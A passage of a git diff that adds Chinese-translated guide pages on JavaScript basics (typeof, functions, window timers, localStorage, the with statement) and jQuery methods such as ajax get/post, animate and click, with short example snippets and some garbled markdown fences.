+<html> 
+ <body> 
+ <a href="https://www.google.co.in/" ondblclick="alert('Hello !! You will see me and then get redirected to google.com even if not needed')">Click Me</a> 
+ </body> 
+ </html> 
+```
+
+#### 输出：
+
+当您双击该链接时，将弹出一个提醒，关闭它将重定向到google.com。
+
+#### 结论：
+
+当您需要阻止任何不需要的页面刷新或重定向时， **void**运算符非常有用。 相反，执行一些JavaScript操作。
+
+#### 更多信息：
+
+1） [Mozilla Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void) 2） [了解void 0](https://www.quackit.com/javascript/tutorial/javascript_void_0.cfm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/tutorials/write-reusable-javascript-with-functions/index.md b/client/src/guide/chinese/javascript/tutorials/write-reusable-javascript-with-functions/index.md
new file mode 100644
index 0000000000..652ef2c5cb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/tutorials/write-reusable-javascript-with-functions/index.md
@@ -0,0 +1,33 @@
+---
+title: Write Reusable JavaScript with Functions
+localeTitle: 用函数编写可重用的JavaScript
+---
+在JavaScript中，我们可以将代码划分为称为函数的可重用部分。
+
+这是一个函数的例子：
+```
+function functionName() { 
+  console.log("Hello World"); 
+ } 
+```
+
+您可以使用其名称后跟括号来`call`或`invoke`此函数，如下所示：
+```
+functionName(); 
+```
+
+每次调用该函数时，它都会在开发控制台上打印出“Hello World”消息。每次调用函数时，都会执行大括号之间的所有代码。
+
+这是另一个例子：
+```
+function otherFunctionName (a, b) { 
+    return(a + b); 
+ } 
+```
+
+我们可以像这样`call`或`invoke`我们的函数：
+```
+otherFunctionName(1,2); 
+```
+
+它将运行并将其返回值返回给我们。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/typeof/index.md b/client/src/guide/chinese/javascript/typeof/index.md
new file mode 100644
index 0000000000..af091e7c76
--- /dev/null
+++ b/client/src/guide/chinese/javascript/typeof/index.md
@@ -0,0 +1,95 @@
+---
+title: Typeof
+localeTitle: 类型
+---
+## 类型
+
+`typeof`是一个JavaScript关键字，在您调用它时将返回变量的类型。您可以使用它来验证函数参数或检查是否定义了变量。还有其他用途。
+
+`typeof`运算符很有用，因为它是检查代码中变量类型的简单方法。这很重要，因为JavaScript是一种[动态类型语言](https://stackoverflow.com/questions/2690544/what-is-the-difference-between-a-strongly-typed-language-and-a-statically-typed) 。这意味着在创建变量时不需要为变量分配类型。由于变量不受此限制，因此其类型可在程序运行期间更改。
+
+例如：
+
+```javascript
+var x = 12345; // number 
+ x = 'string'; // string 
+ x = { key: 'value' }; // object 
+```
+
+从上面的示例中可以看出，JavaScript中的变量可以在整个程序执行过程中更改类型。这可能很难作为程序员跟踪，这就是`typeof`运算符很有用的地方。
+
+`typeof`运算符返回表示变量当前类型的字符串。您可以通过键入`typeof(variable)`或`typeof variable`来使用它。回到上一个示例，您可以使用它来检查每个阶段的变量`x`的类型：
+
+```javascript
+var x = 12345; 
+ console.log(typeof x) // number 
+ x = 'string'; 
+ console.log(typeof x) // string 
+ x = { key: 'value' }; 
+ console.log(typeof x) // object 
+```
+
+这对于检查函数中变量的类型并在适当时继续有用。
+
+这是一个函数的例子，它可以采用一个字符串或数字的变量：
+
+```javascript
+function doSomething(x) { 
+  if(typeof(x) === 'string') { 
+    alert('x is a string') 
+  } else if(typeof(x) === 'number') { 
+    alert('x is a number') 
+  } 
+ } 
+```
+
+`typeof`运算符有用的另一种方法是确保在尝试在代码中访问变量之前定义变量。这有助于防止在尝试访问未定义的变量时可能发生的程序错误。
+
+```javascript
+function(x){ 
+  if (typeof(x) === 'undefined') { 
+    console.log('variable x is not defined'); 
+    return; 
+  } 
+  // continue with function here... 
+ } 
+```
+
+在检查数字时， `typeof`运算符的输出可能并不总是您所期望的。  
+由于多种原因，数字可以转入值[NaN（非数字）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) 。
+
+```javascript
+console.log(typeof NaN); //"number" 
+```
+
+也许您试图将数字与对象相乘，因为您忘记访问对象内的数字。
+
+```javascript
+var x = 1; 
+ var y = { number: 2 }; 
+ console.log(x * y); // NaN 
+ console.log(typeof (x * y)); // number 
+```
+
+检查数字时，仅检查数字的`typeof`输出是不够的，因为`NaN`也是  
+通过这个测试。  
+此函数检查数字，也不允许`NaN`值通过。
+
+```javascript
+function isNumber(data) { 
+  return (typeof data === 'number' && !isNan(data)); 
+ } 
+```
+
+即使认为这是一种有用的验证方法，我们也要小心，因为javascript有一些奇怪的部分，其中一个是特定指令的`typeof`结果。例如，在javascript中，很多东西都只是`objects`所以你会发现。
+
+```javascript
+var x = [1,2,3,4]; 
+ console.log(typeof x)  // object 
+ 
+ console.log(typeof null)  // object 
+```
+
+### 更多信息：
+
+[类型的MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/undefined-primitive-values/index.md b/client/src/guide/chinese/javascript/undefined-primitive-values/index.md
new file mode 100644
index 0000000000..454fe20313
--- /dev/null
+++ b/client/src/guide/chinese/javascript/undefined-primitive-values/index.md
@@ -0,0 +1,7 @@
+---
+title: Undefined Primitive Value
+localeTitle: 未定义的原始值
+---
+自动分配给刚刚声明的变量的原始值或没有实际参数的正式参数。
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/where-to/index.md b/client/src/guide/chinese/javascript/where-to/index.md
new file mode 100644
index 0000000000..85f0271123
--- /dev/null
+++ b/client/src/guide/chinese/javascript/where-to/index.md
@@ -0,0 +1,102 @@
+---
+title: Where to
+localeTitle: 去哪儿
+---
+## 去哪儿
+
+JavaScript是HTML和Web的编程语言。在HTML中，必须在`<script>`容器标记中插入JavaScript。
+
+### 例
+
+```html
+
+<script> 
+  window.alert("This JavaScript Works!"); 
+ </script> 
+```
+
+另外，请记住，您可以在HTML文档中放置任意数量的`<script>`标记。
+
+### `<script>`标签在哪里？
+
+`<script>`标记可以放在`<head>`或`<body>` 。
+
+### `<head>` JavaScript
+
+在此示例中，JavaScript放在文档的`<head>`部分中。创建一个**onClicked**函数，在按下按钮时调用该函数。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <script> 
+ function onClicked() { 
+    window.alert("Hi, there!"); 
+ } 
+ </script> 
+ </head> 
+ 
+ <body> 
+ 
+ <h1>JavaScript Testing</h1> 
+ <button type="button" onclick="onClicked()">Try it</button> 
+ 
+ </body> 
+ </html> 
+```
+
+### `<body>` JavaScript
+
+这里，JavaScript放在 。创建了**onClicked**函数，并将其设置为在单击按钮时触发。
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <h1>JavaScript Testing</h1> 
+ <button type="button" id="buttonClicked">Try it</button> 
+ 
+ <script> 
+ document.getElementById("buttonClicked").onclick = onClicked; 
+ 
+ function onClicked() { 
+    window.alert("Hi, there!"); 
+ } 
+ </script> 
+ 
+ </body> 
+ </html> 
+```
+
+### 外部脚本
+
+脚本也可以放在外部文件中。让我们创建一个文件**script.js** 。
+
+##### 的script.js
+
+```javascript
+window.alert("Hi!"); 
+```
+
+此脚本可以包含在HTML文档中，如下所示：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <script src="script.js"></script> 
+ 
+ </body> 
+ </html> 
+```
+
+_嗨！_在呈现页面时仍会收到警报。请记住，您不需要在JavaScript文件（扩展名为**.js**的文件）中包含`<script>`标记。
+
+#### 更多信息：
+
+雅虎建议在底部放置脚本。这阐述了[这里](https://developer.yahoo.com/performance/rules.html#js_bottom) ，与这一建议的原因。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-clearinterval-method/index.md b/client/src/guide/chinese/javascript/window-clearinterval-method/index.md
new file mode 100644
index 0000000000..3ef2284e69
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-clearinterval-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Window clearInterval Method
+localeTitle: Window clearInterval方法
+---
+## Window clearInterval方法
+
+'clearInterval（）'方法用于清除使用'setInterval（）'方法设置的计时器。
+
+```js
+    clearInterval(setInteval_ID); 
+```
+
+为了能够使用'clearInterval（）'方法，必须使用全局变量。
+
+```js
+    myID = setInterval(function, milliseconds); 
+```
+
+#### 更多信息：
+
+文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearInterval)
+
+关于[w3schools的](https://www.w3schools.com/jsref/met_win_clearinterval.asp)更多例子
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-cleartimeout-method/index.md b/client/src/guide/chinese/javascript/window-cleartimeout-method/index.md
new file mode 100644
index 0000000000..9bf46bc8c7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-cleartimeout-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Window clearTimeout Method
+localeTitle: 窗口clearTimeout方法
+---
+## 窗口clearTimeout方法
+
+'clearTimeout（）'方法用于停止使用'setTimeout（）'方法设置的计时器。
+
+```js
+    clearTimeout(setTimeout_ID); 
+```
+
+如果在计时器完成计数之前调用'clearTimeout（）'方法，'clearTimeout（）'方法将停止执行'setTimeout（）'方法。
+
+为了能够使用'clearTimeout（）'方法，您必须使用全局变量。请参阅下面的示例
+
+```js
+    myID = setTimeout(function, milliseconds); 
+```
+
+#### 更多信息：
+
+文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-confirm-method/index.md b/client/src/guide/chinese/javascript/window-confirm-method/index.md
new file mode 100644
index 0000000000..cb4f3c0194
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-confirm-method/index.md
@@ -0,0 +1,21 @@
+---
+title: Window Confirm Method
+localeTitle: 窗口确认方法
+---
+## 窗口确认方法
+
+您可以使用`confirm`方法要求用户仔细检查网页上的决定。当您调用此方法时，浏览器将显示一个对话框，其中有两个选项，分别为“确定”和“取消”。
+
+例如，假设有人刚刚单击了“删除”按钮。您可以运行以下代码：
+
+```javascript
+if (window.confirm("Are you sure you want to delete this item?")) { 
+  // Delete the item 
+ } 
+```
+
+消息“您确定要删除此项吗？”将出现在对话框中。如果用户单击OK，则confirm方法将返回`true` ，浏览器将在if语句中运行代码。如果他或她单击取消，该方法将返回`false`并且不会发生任何其他情况。这可以防止有人意外点击删除。
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-localstorage/index.md b/client/src/guide/chinese/javascript/window-localstorage/index.md
new file mode 100644
index 0000000000..3e4d66ba90
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-localstorage/index.md
@@ -0,0 +1,58 @@
+---
+title: Window.localStorage
+localeTitle: Window.localStorage
+---
+## window.localStorage
+
+`localStorage`为您的Web应用程序提供了一种在用户浏览器中本地存储数据的方法。
+
+在HTML5之前，应用程序数据必须存储在cookie中。每个HTTP请求都包含Cookie，从而通过传输相同的数据来减慢Web应用程序的速度。 Cookie也限制在大约4 KB的数据中，这些数据可能不足以存储所需的数据。
+
+`localStorage`限制大于cookie，每个域最多10MB数据，并且信息永远不会传输到服务器。
+
+### localStorage的类型
+
+有两种主要的Web存储类型：
+
+*   本地存储：存储没有过期日期的数据。即使用户的浏览器已关闭并重新打开， `localStorage`的数据也会保留。
+*   会话存储：这与`localStorage`类似，不同之处在于它仅存储一个会话的数据。一旦用户的浏览器关闭，该会话将丢失，并且将从浏览器中删除持久数据。
+
+### HTML5 localStorage方法
+
+`localStorage`附带了一些不同的JavaScript方法，可以很容易地使用它们，让我们来看看：
+
+_注意：这些方法适用于两种Web存储类型（本地存储和会话存储）_
+
+要设置数据，我们需要执行以下操作：
+
+```javascript
+localStorage.setItem('Name', 'somevalue'); 
+```
+
+要从存储中检索一些数据：
+
+```javascript
+localStorage.getItem('Name'); 
+```
+
+要删除或删除某些数据，我们可以这样做：
+
+```javascript
+localStorage.removeItem('Name'); 
+```
+
+要清除整个存储（不仅仅是单个项目），我们可以使用：
+
+```javascript
+localStorage.clear(); 
+```
+
+要获取存储中的属性数：
+
+```javascript
+localStorage.length; 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-location/index.md b/client/src/guide/chinese/javascript/window-location/index.md
new file mode 100644
index 0000000000..7b90a58bb1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-location/index.md
@@ -0,0 +1,24 @@
+---
+title: Window Location
+localeTitle: 窗口位置
+---
+## 窗口位置
+
+`window.location`对象可用于获取有关当前页面地址（URL）的信息，并将浏览器重定向到新页面。
+
+`window.location`对象可以在没有`window`前缀的情况下编写，就像`location` 。
+
+#### 一些例子：
+
+*   `window.location.href`返回当前页面的href（URL）
+*   `window.location.hostname`返回Web主机的域名
+*   `window.location.host`返回主机名和任何关联的端口
+*   `window.location.pathname`返回当前页面的路径和文件名
+*   `window.location.protocol`返回使用的Web协议（http：或https :)
+*   `window.location.assign()`加载一个新文档
+
+#### 更多信息：
+
+[W3C](https://www.w3schools.com/js/js_window_location.asp)
+
+[MDN](https://developer.mozilla.org/docs/Web/API/Window/location)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-open-method/index.md b/client/src/guide/chinese/javascript/window-open-method/index.md
new file mode 100644
index 0000000000..b635abf03d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-open-method/index.md
@@ -0,0 +1,38 @@
+---
+title: Window Open Method
+localeTitle: 窗口打开方法
+---
+## 窗口打开方法
+
+Window `open()`方法可用于将指定的资源加载到具有指定名称的浏览上下文（窗口或选项卡）中。如果此名称不存在，则会创建一个新窗口，并将资源加载到其上下文中。
+
+## Prameters
+
+`url` 一个DOMString，指示要加载的资源。这可以是浏览器支持的任何资源的路径或URL。
+
+`windowName` DOMString，指定将加载内容的浏览上下文（窗口或选项卡）的名称;如果名称未指示现有上下文，则会创建一个新窗口，并为其指定windowName指定的名称。然后，通过将其指定为目标属性，可以将此名称用作链接和表单的目标。
+
+`windowFeatures` `optional` 一个DOMString，包含以逗号分隔的窗口特征列表，以及“name = value”形式的相应值给出。这些功能包括窗口的默认大小和位置等选项。
+
+## 句法
+
+```javascript
+  var window =  window.open(url, windowName, [windowFeatures]); 
+```
+
+## 例
+
+```javascript
+var windowObjectReference; 
+ var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; 
+ 
+ function openRequestedPopup() { 
+  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures); 
+ } 
+```
+
+如果已存在名称的窗口，则将strURL加载到现有窗口中。在这种情况下，方法的返回值是现有窗口，并忽略strWindowFeatures。
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-setinterval-method/index.md b/client/src/guide/chinese/javascript/window-setinterval-method/index.md
new file mode 100644
index 0000000000..9f7f1c569a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-setinterval-method/index.md
@@ -0,0 +1,34 @@
+---
+title: Window setInterval Method
+localeTitle: Window setInterval方法
+---
+## Window setInterval方法
+
+`setInterval()`方法以指定的时间间隔（以毫秒为单位）调用函数或计算表达式。
+
+```js
+    setInterval(function(){ alert("Hello"); }, 3000); 
+```
+
+`setInterval()`方法将继续调用该函数，直到调用`clearInterval()`或关闭窗口。
+
+`setInterval()`方法可以将其他参数传递给函数，如下例所示。
+
+```js
+    setInterval(function, milliseconds, parameter1, parameter2, parameter3); 
+```
+
+`setInterval()`返回的ID值用作`clearInterval()`方法的参数。
+
+提示：
+
+*   1000毫秒= 1秒。
+*   要在指定的毫秒数后执行一次函数，请使用`setTimeout()`方法。
+
+#### 更多信息：
+
+文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)
+
+JavaScript setInterval（）函数示例： [Sitepoint](https://www.sitepoint.com/setinterval-example/)
+
+还有一些例子： [w3schools](https://www.w3schools.com/jsref/met_win_setinterval.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/window-settimeout-method/index.md b/client/src/guide/chinese/javascript/window-settimeout-method/index.md
new file mode 100644
index 0000000000..082ca0928b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/window-settimeout-method/index.md
@@ -0,0 +1,59 @@
+---
+title: Window setTimeout Method
+localeTitle: 窗口setTimeout方法
+---
+## 窗口setTimeout方法
+
+`setTimeout()`方法在指定的毫秒数后调用函数或计算表达式。
+
+提示：
+
+*   1000毫秒= 1秒。
+*   该功能仅执行一次。如果需要重复执行，请使用`setInterval()`方法。
+*   使用`clearTimeout()`方法来阻止函数运行。
+
+`setTimout()`方法的语法如下：
+
+```js
+setTimeout(function, milliseconds, param1, param2, ...); 
+```
+
+例如：
+
+```js
+setTimeout(function(){ alert("Hello"); }, 3000); 
+```
+
+关于`setTimeout()`一个非常重要的事情是它将异步执行。我们来举个例子：
+
+```js
+console.log("A"); 
+ setTimeout(function(){ console.log("B"); }, 0); 
+ console.log("C"); 
+ // The order in the console will be 
+ // A 
+ // C 
+ // B 
+```
+
+**没有像预期的那样！但我们只指定0秒！** 要解决这个问题并确保我们的代码将同步执行，我们只需将最后一个控制台嵌套在函数中
+
+```js
+console.log("A"); 
+ setTimeout(function() { 
+    console.log("B"); 
+    console.log("C"); 
+ }, 0); 
+ // The order in the console will be 
+ // A 
+ // B 
+ // C 
+```
+
+#### 更多信息：
+
+文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)
+
+更多setTimeout函数的例子： [w3schools](https://www.w3schools.com/jsref/met_win_settimeout.asp)
+
+要了解幕后真正发生的事情，请观看这​​个精彩的视频 [菲利普罗伯茨：无论如何，事件循环到底是什么？ | JSConf EU 2014](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/with/index.md b/client/src/guide/chinese/javascript/with/index.md
new file mode 100644
index 0000000000..a276931bd1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/with/index.md
@@ -0,0 +1,75 @@
+---
+title: With
+localeTitle: 同
+---
+## 同
+
+JavaScript的`with`语句是在一个对象上编辑多个属性的简便方法。大多数开发人员不鼓励使用`with` ，您最好不要使用此关键字。
+
+**注意** ： `"strict mode"`禁止使用`with` 。
+
+### 句法
+
+```syntax
+with (expression) 
+  statement 
+```
+
+### 示例用法
+
+在JavaScript中，您可以单独修改对象的属性，如下所示：
+
+```javascript
+let earth = {}; 
+ earth.moons = 1; 
+ earth.continents = 7; 
+```
+
+`with`为您提供了修改对象属性的简写：
+
+```javascript
+with (earth) { 
+  moons = 1; 
+  continents = 7; 
+ } 
+```
+
+虽然这个例子很做作，你能理解的用例`with`更多，如果你有更大的物体象下面这样：
+
+```javascript
+earth.continents.australia.geography.ocean = "Pacific"; 
+ earth.continents.australia.geography.river = "Murray"; 
+ earth.continents.australia.geography.mountain = "Kosciuszko"; 
+```
+
+### 备择方案
+
+你不应该使用它`with`因为它有微妙的错误和兼容性问题。强烈推荐的方法是将对象分配给变量，然后修改变量的属性。以下是使用更大对象的示例：
+
+```javascript
+let earth = { 
+  continents: { 
+    australia: { 
+      geography: {} 
+    } 
+  } 
+ }; 
+ 
+ let geo = earth.continents.australia.geography; 
+ 
+ geo.ocean = "Pacific"; 
+ geo.river = "Murray"; 
+ geo.mountain = "Kosciuszko"; 
+```
+
+### 试试看
+
+https://repl.it/Mixg/5
+
+#### 更多信息：
+
+[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with)
+
+[https://yuiblog.com/blog/2006/04/11/with-statement-considered-harmful/](https://yuiblog.com/blog/2006/04/11/with-statement-considered-harmful/)
+
+[http://2ality.com/2011/06/with-statement.html](http://2ality.com/2011/06/with-statement.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/joomla/index.md b/client/src/guide/chinese/joomla/index.md
new file mode 100644
index 0000000000..5689da4e74
--- /dev/null
+++ b/client/src/guide/chinese/joomla/index.md
@@ -0,0 +1,15 @@
+---
+title: Joomla
+localeTitle: 的Joomla
+---
+# 的Joomla
+
+的Joomla！是一个免费的开源内容管理系统（CMS），它建立在模型 - 视图 - 控制器Web应用程序框架之上，可以独立于CMS使用。它由Open Source Matters，Inc。开发。
+
+的Joomla！是用面向对象编程（OOP）PHP编写的。它可以在MySQL，PostgreSQL或MS SQL数据库中存储数据。功能包括页面缓存，RSS源，页面的可打印版本，新闻快讯，博客，搜索和语言国际化支持。
+
+### 更多信息
+
+[Joomla文档：在线协作社区手册](https://docs.joomla.org/)
+
+[的Joomla！开发人员门户网站](https://docs.joomla.org/Portal:Developers)
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/index.md b/client/src/guide/chinese/jquery/index.md
new file mode 100644
index 0000000000..f85af4493c
--- /dev/null
+++ b/client/src/guide/chinese/jquery/index.md
@@ -0,0 +1,31 @@
+---
+title: jQuery
+localeTitle: jQuery的
+---
+## jQuery的
+
+![logo](https://upload.wikimedia.org/wikipedia/en/thumb/9/9e/JQuery_logo.svg/250px-JQuery_logo.svg.png "jQuery徽标")
+
+jQuery是使用最广泛的JavaScript库，在所有主要网站的一半以上使用。
+
+jQuery通过提供许多“帮助”功能使Web开发更容易使用。这些可以帮助开发人员快速编写DOM（文档对象模型）交互，而无需手动编写尽可能多的JavaScript。
+
+jQuery添加了一个全局变量，附加了所有库方法。命名约定是将此全局变量设为`$` 。输入`$.`你可以使用所有的jQuery方法。
+
+## 例
+
+当用户点击按钮时，全部
+
+元素将被隐藏：
+
+```javascript
+$(document).ready(function(){ 
+    $("button").click(function(){ 
+        $("p").hide(); 
+    }); 
+ }); 
+```
+
+#### 更多信息
+
+*   [jQuery主页](https://jquery.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-ajax-get-method/index.md b/client/src/guide/chinese/jquery/jquery-ajax-get-method/index.md
new file mode 100644
index 0000000000..c90fa6b14e
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-ajax-get-method/index.md
@@ -0,0 +1,47 @@
+---
+title: jQuery Ajax Get Method
+localeTitle: jQuery Ajax获取方法
+---
+## jQuery Ajax获取方法
+
+发送异步http GET请求以从服务器加载数据。其一般形式是：
+
+```javascript
+jQuery.get( url [, data ] [, success ] [, dataType ] ) 
+```
+
+*   `url` ：唯一的必需参数。该字符串包含发送请求的地址。如果未指定其他参数，则将忽略返回的数据。
+*   `data` ：带有请求发送到服务器的普通对象或字符串。
+*   `success` ：如果请求成功，则执行回调函数。它将返回的数据作为参数。它还传递了响应的文本状态。
+*   `dataType` ：服务器所需的数据类型。默认为Intelligent Guess（xml，json，script，text，html）。如果提供此参数，则还必须提供成功回调。
+
+#### 例子
+
+从服务器请求`resource.json` ，发送其他数据，并忽略返回的结果： \`\`\`的JavaScript $ .get（'http://example.com/resource.json'，{category：'client'，type：'premium'}）;
+```
+Request `resource.json` from the server, send additional data, and handle the returned response (json format): 
+ ```javascript 
+ $.get('http://example.com/resource.json', {category:'client', type:'premium'}, function(response) { 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+```
+
+上面的例子也可以写成： \`\`\`的JavaScript $ .get（'http://example.com/resource.json'，{category：'client'，type：'premium'}） .done（function（response）{ 警报（ “成功”）; $（ “＃mypar”）HTML（response.amount）; }）;
+```
+### jQuery.ajax() 
+ `$.get( url [, data ] [, success ] [, dataType ] )` is a shorthand Ajax function, equivalent to: 
+ ```javascript 
+ $.ajax({ 
+      url: url, 
+      data: data, 
+      success: success, 
+      dataType: dataType 
+ }); 
+```
+
+`$.ajax()`提供了许多其他选项，所有这些选项都位于[此处](http://api.jquery.com/jquery.ajax/) 。
+
+#### 更多信息：
+
+有关更多信息，请访问[官方jQuery.get网站](https://api.jquery.com/jquery.get/) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-ajax-post-method/index.md b/client/src/guide/chinese/jquery/jquery-ajax-post-method/index.md
new file mode 100644
index 0000000000..cb1f53643f
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-ajax-post-method/index.md
@@ -0,0 +1,67 @@
+---
+title: jQuery Ajax Post Method
+localeTitle: jQuery Ajax Post方法
+---
+## jQuery Ajax Post方法
+
+发送异步http POST请求以从服务器加载数据。其一般形式是：
+
+```javascript
+jQuery.post( url [, data ] [, success ] [, dataType ] ) 
+```
+
+*   url：是唯一的必需参数。此字符串包含要将请求发送到的地址。如果未指定其他参数，则将忽略返回的数据
+*   data：与请求一起发送到服务器的普通对象或字符串。
+*   success：如果请求成功则执行的回调函数。它将返回的数据作为参数。它还传递了响应的文本状态。
+*   dataType：服务器所需的数据类型。默认为Intelligent Guess（xml，json，script，text，html）。如果提供了此参数，则还必须提供成功回调。
+
+#### 例子
+
+```javascript
+$.post('http://example.com/form.php', {category:'client', type:'premium'}); 
+```
+
+从服务器请求`form.php` ，发送附加数据并忽略返回的结果
+
+```javascript
+$.post('http://example.com/form.php', {category:'client', type:'premium'}, function(response){ 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+```
+
+从服务器请求`form.php` ，发送附加数据并处理返回的响应（json格式）。此示例可以使用以下格式编写：
+
+```javascript
+$.post('http://example.com/form.php', {category:'client', type:'premium'}).done(function(response){ 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+```
+
+以下示例使用Ajax发布表单并将结果放入div \`\`\`html   jQuery.post演示
+
+ 
+
+// Attach a submit handler to the form $( "#searchForm" ).submit(function( event ) { // Stop form from submitting normally event.preventDefault(); // Get some values from elements on the page: var $form = $( this ), term = $form.find( "input\[name='s'\]" ).val(), url = $form.attr( "action" ); // Send the data using post var posting = $.post( url, { s: term } ); // Put the results in a div posting.done(function( data ) { var content = $( data ).find( "#content" ); $( "#result" ).empty().append( content ); }); });
+```
+The following example use the github api to fetch the list of repositories  of a user  using jQuery.ajax() and put results in a div 
+```
+
+HTML 
+
+ 
+
+// Attach a submit handler to the form $( "#userForm" ).submit(function( event ) { // Stop form from submitting normally event.preventDefault(); // Get some values from elements on the page: var $form = $( this ), username = $form.find( "input\[name='username'\]" ).val(), url = "https://api.github.com/users/"+username+"/repos"; // Send the data using post var posting = $.post( url, { s: term } ); //Ajax Function to send a get request $.ajax({ type: "GET", url: url, dataType:"jsonp" success: function(response){ //if request if made successfully then the response represent the data $( "#result" ).empty().append( response ); } }); });
+```
+### jQuery.ajax() 
+ `$.post( url [, data ] [, success ] [, dataType ] )` is a shorthand Ajax function, equivalent to: 
+```
+
+JavaScript的 $就（{ 类型：“POST”， 网址：网址 数据：数据， 成功：成功， dataType：dataType }）; \`\`\`
+
+`$.ajax()`提供了更多可在[此处](http://api.jquery.com/jquery.ajax/)找到的选项
+
+#### 更多信息：
+
+有关更多信息，请访问[官方网站](https://api.jquery.com/jquery.post/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-animate/index.md b/client/src/guide/chinese/jquery/jquery-animate/index.md
new file mode 100644
index 0000000000..52c7c53968
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-animate/index.md
@@ -0,0 +1,30 @@
+---
+title: jQuery Animate
+localeTitle: jQuery Animate
+---
+## jQuery Animate
+
+jQuery的animate方法只需几行代码就可以轻松创建简单的动画。基本结构如下：
+
+```javascript
+$(".selector").animate(properties, duration, callbackFunction()); 
+```
+
+对于`properties`参数，您需要传递一个javascript对象，并将要作为键设置动画的CSS属性以及要作为值设置为动画的值。 在此`duration`您需要输入动画应采用的时间量（以毫秒为单位）。 动画完成后执行`callbackFunction()` 。
+
+### 例
+
+一个简单的例子如下所示：
+
+```javascript
+$(".awesome-animation").animate({ 
+    opacity: 1, 
+    bottom: += 15 
+ }, 1000, function() { 
+    $(".different-element").hide(); 
+ }); 
+```
+
+#### 更多信息：
+
+有关更多信息，请访问[官方网站](http://api.jquery.com/animate/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/jquery/jquery-click-method/index.md b/client/src/guide/chinese/jquery/jquery-click-method/index.md
new file mode 100644
index 0000000000..547d22c1a1
--- /dev/null
+++ b/client/src/guide/chinese/jquery/jquery-click-method/index.md
@@ -0,0 +1,102 @@
+---
+title: Click Method
+localeTitle: 单击方法
+---
+# 单击方法
+
+单击一个元素时，jQuery Click方法会触发一个函数。该函数称为“处理程序”，因为它处理click事件。功能可以 使用jQuery Click方法影响绑定到单击的HTML元素，或者它们可以完全改变其他内容。最常用的形式是：
+
+```javascript
+$("#clickMe").click(handler) 
+```
+
+click方法将处理函数作为参数，并在每次单击元素`#clickMe`时执行它。处理函数接收一个 被称为[eventObject的](http://api.jquery.com/Types/#Event)参数，可用于控制操作。
+
+#### 例子
+
+此代码在用户单击按钮时显示警报：
+
+```html
+
+<button id="alert">Click Here</button> 
+```
+
+```javascript
+$("#alert").click(function () { 
+  alert("Hi! I'm an alert"); 
+ }); 
+```
+
+[的jsfiddle](https://jsfiddle.net/pL63cL6m/)
+
+[eventObject](http://api.jquery.com/Types/#Event)有一些内置的方法，包括`preventDefault()` ，它完全按照它所说的 - 停止 元素的默认事件。在这里，我们将锚标记作为链接：
+
+```html
+
+<a id="myLink" href="www.google.com">Link to Google</a> 
+```
+
+```javascript
+$("#myLink").click(function (event) { 
+  event.preventDefault(); 
+ }); 
+```
+
